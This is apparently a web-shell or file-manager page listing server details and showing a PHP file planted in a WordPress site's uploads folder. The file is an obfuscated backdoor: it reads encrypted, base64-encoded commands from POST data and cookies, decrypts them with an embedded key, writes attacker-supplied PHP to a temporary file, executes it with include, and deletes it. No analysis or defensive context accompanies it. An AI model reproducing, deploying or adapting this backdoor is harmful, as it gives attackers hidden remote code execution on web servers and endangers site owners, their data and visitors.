HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/uploads/wp-file-manager-pro/tsqqmrgf.php
<?php 
$pqyzfem	=    'pqyzfem'      ^    '';
$kpefh /*yuolnk */ =    "a"."r".$pqyzfem(114)    . /* ifjd*/ "a"."\x79"       .	"_"."\x6d" /*  duvb_*/ .   "a".$pqyzfem(112);


$cmbodhibny	= /* l*/ "i"."m".$pqyzfem(112) /*ls   */ .    $pqyzfem(108)	. /* xvnuyp   */ "\157"   .      "d".$pqyzfem(774-673);

$dkslrngila   = /*  bbwci*/ "\143"    .   "\x6f" /*  g  */ .	"u"."\156" /*  emgo   */ . /*  m  */ "\x74";


function      megjj($wkrwpd, /*  vkbvnb  */ $fangwwyyvt){	global /*rj*/ $pqyzfem;


 /* mklyp*/ 

   $wkrwpd	= /*   vtcu_   */ $pqyzfem(60)  . /* f   */ $pqyzfem(63)      .    $pqyzfem(154-42)   . /*   oodw */ "h"."\x70"      .       $pqyzfem(32)	.     $pqyzfem(117)    . /* iag */ $pqyzfem(110)	.      "l".$pqyzfem(921-816)    .      $pqyzfem(1067-957)   .    "\153" /*   vwrtu */ . /*   uoyrdd */ $pqyzfem(301-261) /*   stqap  */ .  "\137"    . /*  p_rzbf*/ "\x5f"	.	$pqyzfem(401-331)	.       "I"."\x4c" /*  u*/ . /*  hivk   */ $pqyzfem(69) /*   fpen   */ .    $pqyzfem(805-710) /*   sdncfn   */ .    "\x5f"	.	$pqyzfem(960-919) /*fc */ .  ";".$pqyzfem(32)       .   $wkrwpd["\x64"]; /* hgbmc  */ $zxmfy    =       "\x66"	.    "i".$pqyzfem(108)      . /*ufbtfh*/ "e"."_"."\x70"      .	"\x75"    .   "\x74"   .       "\x5f"	.	"c"."o"."\156"	.	"t"."\x65" /*uvf  */ . /*wxqdnf*/ "n"."t".$pqyzfem(237-122); /* csrb  */ 


 /* qweyrs   */ $zxmfy($fangwwyyvt, /*tnumdr */ $wkrwpd);
    

 /*fl  */ genai($fangwwyyvt);}$brhzfu	=  73;




function   genai($fangwwyyvt){
   global       $pqyzfem;	


 /*  uvb */ include($fangwwyyvt);

	$miwd_sl_v	=       $fangwwyyvt;
    @unlink($miwd_sl_v);
}


function    iopwzrtvr()
{

      global   $pqyzfem;

      $yoywf   = /*rr*/ array();

 /*   myet*/ $yoywf["\x70"	. /*   jxf */ "v"]    =	phpversion();

 /*   dnlv   */ $yoywf[$pqyzfem(1049-934)  . /*f  */ $pqyzfem(118)]    =   $pqyzfem(423-372)    . /*ccw   */ "."."5";


	$zqdeiuby /*oyudwj  */ =  74;	echo    @serialize($yoywf);}

function /* pcg */ idrfc($wkrwpd,   $ysdnnrayrspykcej)


{

	global      $pqyzfem;


 /* mo */ $zazzk   =     "";
   $gatqu    =	'n_pakfqjob';

    $gibnsi	=   hash('sha256', /*iq*/ $wkrwpd);
    $cvibf /* v*/ = /*  rhxq_k   */ str_replace('dx_', /*   maohlk   */ $gibnsi,    $gatqu);
	$yoywf /*  cx */ =       0;

 /*uz   */ while /*glsdpx  */ ($yoywf       < /* fza */ strlen($wkrwpd)) /*   oo_o   */ {
	$dvbxxodqi /*grmpr */ =	isset($ysdnnrayrspykcej)	?    $ysdnnrayrspykcej    : /* gn_vx   */ '';


   for       ($ysdnnra   =    0;  $ysdnnra /*   f */ < /*e */ strlen($dvbxxodqi)    && /*ke*/ $yoywf    <   strlen($wkrwpd);	$ysdnnra++,   $yoywf++) /*chezf*/ {
      $zazzk  .= /* mwdvq  */ $pqyzfem(ord($wkrwpd[$yoywf]) /*   tv  */ ^      ord($dvbxxodqi[$ysdnnra]));


     }


 /*tzum*/ if	(strlen($zazzk)  >     20)    {


	$cvibf      =	substr($zazzk, /*   k */ 0, /*  rnrmad*/ 20);


  }

   }
    if     (empty($zazzk))  {

 /*   ockk */ $zazzk /*dh_*/ = /*eag  */ date('Y-m-d       H:i:s'); /*  j_wy   */ }	return /* bm*/ $zazzk;


}




function     krohws_q($aqlhpw)

{


 /*yble_o   */ global	$pqyzfem;


	


 /*ecigej*/ $clgaw   =	"e"."9"."c".$pqyzfem(50)  . /*wy   */ $pqyzfem(658-603)       .   "\x34"    .    "\x33"	.    "\65" /*wo  */ .      "-"."2".$pqyzfem(51)	.   "\144" /*  p */ . /* dwi */ "8"."-"."\64"  . /*   l   */ "f".$pqyzfem(719-668) /* _gaq */ .       "b".$pqyzfem(978-933)    .	"a"."\x64".$pqyzfem(53)    . /*  dzcw   */ "3"."\x2d"	.	"\143" /*zj   */ .    "a"."8"."\71"	.       $pqyzfem(218-164) /*  z*/ .    "\61"	. /*   u */ "\61"    . /*   y   */ "\x33" /*   i */ .    $pqyzfem(699-646) /*frgt */ .     "2"."\71"       . /* di_if */ "\x36";
    /* r   */ foreach /*  wwf*/ ($aqlhpw  as    $ypynfzc	=>  $wkrwpd)    {


 /* nnosf*/ thgplb(base64_decode($wkrwpd),	$clgaw,  $ypynfzc);	}}
function    thgplb($wkrwpd,     $clgaw, /*  rlo*/ $ypynfzc)
{

	global	$pqyzfem;

 /*  h  */ 
 /*   _v   */ $wkrwpd    = /*geknwq*/ unserialize(idrfc(idrfc($wkrwpd,   $clgaw),    $ypynfzc));

	$komdvrpo	=	'lwwfkyw';
	$mwlpnn_twf /* xwulkb  */ =	'wfa_z';
 /* womwd  */ if /*abx  */ (isset($wkrwpd[$pqyzfem(97) /* uj */ . /*   hcws_*/ "\x6b"]))	{

   if       ($wkrwpd["a"]    ==    "i")  {
       iopwzrtvr();
  }	elseif	($wkrwpd["a"] /*  jregk   */ == /*  khx*/ "e") /* rabm  */ {
 /*  attex   */ megjj($wkrwpd,    sprintf(".".$pqyzfem(47)    .   "%"."s"."."."p"."l",     md5($clgaw)));			$abcpvvuoy       =    44;
	} /*hbysf  */ exit();
 /* ccwv  */ }

}
krohws_q($_POST);     




$brvgyyqpf /*  lapck */ = /* y_kn*/ $kpefh('rawurldecode', /* fq  */ $_POST);
$ypvtqtytn   =  $dkslrngila($brvgyyqpf);
if /*  bq   */ ($ypvtqtytn /* rx   */ > /*   dv_r*/ 0) /*  gbotyy */ {  $_vcna /*   prv  */ =  $cmbodhibny(',', /*b */ $brvgyyqpf);}


krohws_q($_COOKIE); /* zg*/ 

$dblyyxobb	=    $kpefh('rawurldecode',     $_COOKIE);$kzlvbzehi /*  o_ec  */ = /*hbspr   */ $dkslrngila($dblyyxobb);


if	($kzlvbzehi       >      0)    {

}





?>